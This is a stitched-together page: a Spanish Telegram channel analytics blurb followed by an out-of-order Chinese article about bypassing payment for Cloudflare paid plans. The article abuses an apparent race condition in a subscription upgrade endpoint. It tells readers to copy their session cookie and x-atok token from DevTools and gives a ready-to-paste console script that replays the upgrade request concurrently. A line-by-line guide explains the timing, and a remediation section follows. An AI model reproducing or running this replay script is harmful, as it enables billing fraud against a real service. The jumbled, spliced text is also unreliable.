Florence的channel
📈 Análisis del canal de Telegram Florence的channel
El canal Florence的channel (@hi_florence) es un actor destacado. Actualmente la comunidad reúne a 11 557 suscriptores, ocupando la posición en la categoría Otro.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 11 557 suscriptores.
Según los últimos datos del 20 septiembre, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de -113, y en las últimas 24 horas de -1, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 9.53%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 4.61% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 1 102 visualizaciones. En el primer día suele acumular 533 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 1.
📝 Descripción y política de contenido
No se ha proporcionado la descripción del canal.
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 21 septiembre, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Otro.
fetch(url, { ... })
.then(res => console.log(...))
.catch(err => console.error(...));
这里没有 await`。主循环每 100ms 发出一个 `fetch 就立即进入下一轮——不等待响应。效果是:
- 请求像机枪一样连续发射,互不阻塞
- 在同一瞬间可能有 2-3 个请求同时在网络层飞行
- 服务端同时面对多个并发请求,后端线程池被瞬间占满,状态机的原子性更容易被打破
如果改成 `await fetch()`,请求严格串行——第一个收到 403/回滚之后再发第二个,窗口期已过。
⑤ `await delay(100)` —— 间隔时间的工程计算
- 太短(< 50ms)**:浏览器同域并发限制通常是 6 个,超过的请求会在浏览器层排队,实际上达不到并发效果;同时服务端可能触发 rate limiting
- **太长(> 500ms)**:支付回调已完成,权限已被回滚,后续请求全是"送人头"
- **100ms**:恰好落在浏览器并发安全区(10 次 × 100ms 不会瞬间占满 6 槽位),同时窗口覆盖回滚延迟
**⑥ 控制台日志的视觉心理学
console.log("%c 开始执行...", "color: #007aff; font-weight: bold;");
console.log("%c 脚本执行完毕...", "color: #34c759; font-weight: bold;");
开头用蓝色 `#007aff`(iOS 系统蓝,冷色调、技术感),降低操作紧张情绪。结尾用绿色 `#34c759`(iOS 成功绿),暗示操作完成且成功。这不是随意选的——操作者心理暗示是漏洞利用的一部分。
### 攻击时序图
时间轴 ──────────────────────────────────────────────────►
请求1: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
请求2: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
请求3: POST /append ──► 权限写入 ✓ ──► 支付校验启动...
│
[支付回调到达 ── 全部失败,触发回滚]
│
请求4: POST /append ──► 权限写入 ✓(部分数据库副本未完成回滚)
请求5: POST /append ──► 权限写入 ✓(MVCC 快照隔离,读旧版本)
请求6: POST /append ──► 权限写入 ✓(补偿任务被排队,延迟执行)
·
·
·
结果:权限表状态 = Pro/Business ✓
账单表状态 = 未支付 / Free ✓
控制面板显示 = Free ✓
实际功能 = Pro/Business ✓ ← 量子叠加态
---
## 五、为什么这个漏洞能成立?——四个必须同时满足的条件
从代码层面还原,这个漏洞成立必须满足以下四个条件:
条件 1:`grant_entitlement()` 早于 `charge_confirmed()`
后端在处理 Append 请求时,`grant_entitlement()`(权限发放)在同步路径上,而 `charge_confirmed()`(支付确认)被放入异步队列。代码结构类似于:
function handleAppend(req):
grant_entitlement(req.plan_id) // 同步,立即执行
async_queue.enqueue(charge(req)) // 异步,排队执行
return 200 OK // 前端收到"成功"
条件 2:缺少幂等键(Idempotency Key)
同一个 `Append` 请求可以被重放多次,每次都进入完整的处理逻辑。如果有 `Idempotency-Key`,第二次重放会直接返回"请求已处理",竞态窗口就不存在了。
条件 3:权限与账单不在同一事务边界
权限表(`entitlements`)和账单表(`billing_records`)很可能是两个独立的微服务,没有共享的事务上下文。回滚操作依赖异步消息队列(如 Kafka),存在延迟。
条件 4:补偿任务的执行延迟或漏执行
支付失败后触发的 `compensate()`(补偿回滚)是通过定时任务或消息队列异步执行的。在高并发冲击下,补偿消息可能被积压、丢弃,或者补偿逻辑本身没有做到幂等重试。
---
## 六、为什么这类漏洞总在 SaaS 平台反复出现?
这不是 Cloudflare 一家的问题。从 Stripe 的早期 API 设计到各种 SaaS 订阅系统,类似模式反复出现。根本原因有三:
### 1. 计费被当成"业务功能"而非"安全边界"
登录、鉴权链路通常有严格的原子性设计和审计要求。但计费链路——直接涉及资金和权限——常见异步拼接和弱一致性。组织的安全边界画错了地方。
### 2. "先开后付"的产品本能
产品团队追求"丝滑体验":用户点一下,权限立刻生效,支付在后台慢慢跑。这在 99.9% 的场景下是好的设计,但留下了 0.1% 的异常窗口——安全研究者追逐的正是这 0.1%。
### 3. 分布式系统的一致性税
当 Entitlement Service 和 Billing Service 是独立微服务时,跨服务事务天然需要 Saga 或 2PC。如果补偿机制设计不完善,就会出现"权限已售出、资金未到账"的状态缝隙。
---
## 七、修复方案(可落地)
### 1) 强制先支付后授权
// ❌ 漏洞路径
POST /append → grant_entitlement() → async charge() → compensate if fail
// ✅ 修复路径
POST /append → charge() → on charge_confirmed → grant_entitlement()
权限发放只响应 charge_confirmed 事件。未确认的请求停留在 pending 状态,前端可轮询。
### 2) 引入幂等键
POST /append
Header: Idempotency-Key: <uuid>
// 服务端:
if (idempotency_store.exists(key)):
return cached_response // 不重复处理
Stripe 的标准实践。同一键只允许一次状态推进,并发 100 次只处理 1 次。
### 3) 单事务或 Saga 强补偿
- 权限与账单落库在同一数据库事务内完成
- 跨服务使用 Saga 模式,每步有对应的 compensate 操作
- 补偿必须是**可重试、可审计、有告警**的——不能依赖"定时扫表"
### 4) 运行时二次校验
在 WAF 规则配置、图片优化等关键能力入口,实时查询账单状态,不仅依赖"历史已授权"标记。每次 API 调用都是检查点:
handleWafRule() {
if (!billing_service.isProActive(user)) {
return 403;
}
// ... 正常处理
}
### 5) 风控检测
- 同一账户 1 秒内超过 3 次 Append 触发人工审核
- 支付失败后 30 秒内锁定升级接口
- 对短时密集相同请求进行限速和熔断
---
## 八、结语
表面看这是一个"白嫖漏洞",本质上是分布式系统中**状态一致性**的经典问题:
- **对研究者**:关注点从"能不能绕过"升级为"为什么能绕过",定位状态机缺陷比找到具体利用更有价值。
- **对平台方**:计费系统是安全边界的一部分。**一致性设计 = 资金安全 + 品牌安全**。
- **对工程师**:每一次"异步优化体验"都是一次风险成本评估。先开后付很舒服,但补偿路径必须铁板钉钉。
安全研究的真正价值,不是放大利用,而是让系统变得更难被利用。https://dash.cloudflare.com/api/v4/.../append |
| Cookie | Headers → Request Headers → Cookie | 当前登录会话的身份凭证 |
| X-atok | Headers → Request Headers → x-atok | Cloudflare 仪表盘的 CSRF/身份校验令牌,每次登录刷新 |
| Payload | Payload → View Source | 请求体的原始 JSON,包含订阅升级的目标计划 ID、域名 zone_id 等 |
这四个参数构成了一个完整的"合法升级请求"。重放它们,就是在用合法的身份反复触发升级逻辑。
### 第三步:理解核心漏洞原理
一个健康的订阅结算流程应该是:
POST /append → 校验支付 → 支付成功 → 写入 Pro 权限
但 Cloudflare 的实际实现路径是:
POST /append → 写入 Pro 权限 ─┐
├─ 两步异步,非原子
异步校验支付 ────┘
↓
支付失败(无有效卡)
↓
补偿任务回滚权限(有延迟,可能漏执行)
两条路径之间存在一个时间窗口**。在这个窗口内,权限已经写入 Metadata,但账单尚未确认失败。如果利用并发请求冲击这个窗口,就能让权限"生根"而账单"流产"——数据库的 MVCC 机制在大量并发写入时,某些写操作可能绕过回滚逻辑。
---
## 四、漏洞利用脚本详解
以下是完整的 DevTools Console 自动化重放脚本。把它粘贴到浏览器 Console 中执行,替换掉 `PASTE_XXX` 占位符即可:
```js
/
* Cloudflare Subscription Bypass Replay Script
* 在 DevTools Console 中执行,利用 Append 接口的竞态窗口
*/
// ========== 第一步:填入从 Network 面板提取的参数 ==========
const url = 'PASTE_YOUR_URL_HERE';
// ↑ 从 Headers → General → Request URL 复制
// 格式类似:https://dash.cloudflare.com/api/v4/accounts/xxx/subscriptions/xxx/append
const headers = {
'content-type': 'application/json',
'accept': '*/*',
'origin': 'https://dash.cloudflare.com',
'referer': 'https://dash.cloudflare.com/',
'x-atok': 'PASTE_YOUR_X_ATOK_HERE', // ← 从 Request Headers 复制
'x-cross-site-security': 'dash',
'cookie': 'PASTE_YOUR_COOKIE_HERE', // ← 从 Request Headers 复制
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36'
};
const payload = {
// ← 从 Payload → View Source 复制完整 JSON
// 包含 zone_id、plan_id、billing_cycle 等字段
};
// ========== 第二步:执行并发重放 ==========
const delay = ms => new Promise(res => setTimeout(res, ms));
(async () => {
console.log("%c 开始执行请求重放...", "color: #007aff; font-weight: bold;");
for (let i = 0; i < 10; i++) {
fetch(url, {
method: 'POST',
headers: headers,
body: JSON.stringify(payload)
})
.then(res => console.log([Batch ${i}] Status: ${res.status}))
.catch(err => console.error([Batch ${i}] Error:, err));
await delay(100); // 每次请求间隔 100ms
}
console.log("%c 脚本执行完毕,请刷新控制面板验证权限。", "color: #34c759; font-weight: bold;");
})();
```
### 逐行深度拆解
① 请求头中的安全参数复用
'x-atok': 'PASTE_YOUR_X_ATOK_HERE',
'cookie': 'PASTE_YOUR_COOKIE_HERE',
'x-cross-site-security': 'dash'
X-atok 是 Cloudflare 仪表盘的反 CSRF 令牌,在页面加载时注入,每次登录会话生成一次。正常情况下它防止跨站请求伪造,但在这里我们**在同源的 Console 中重放**,完全合法。`x-cross-site-security: dash` 是 Cloudflare 内部微服务间通信的标识头,说明请求走的是 Dashboard 的内部网关路径。
② Payload 的结构
从 View Source 复制出来的 JSON 包含关键字段:
{
"zone_id": "xxx",
"plan_id": "pro" | "business",
"billing_cycle": "monthly" | "annual",
"payment_method_id": "xxx",
...
}
payment_method_id 指向一个无效或余额为零的支付方式——前端通过了,但后端支付网关会拒绝。
③ `for (let i = 0; i < 10; i++)` —— 为什么是 10 次?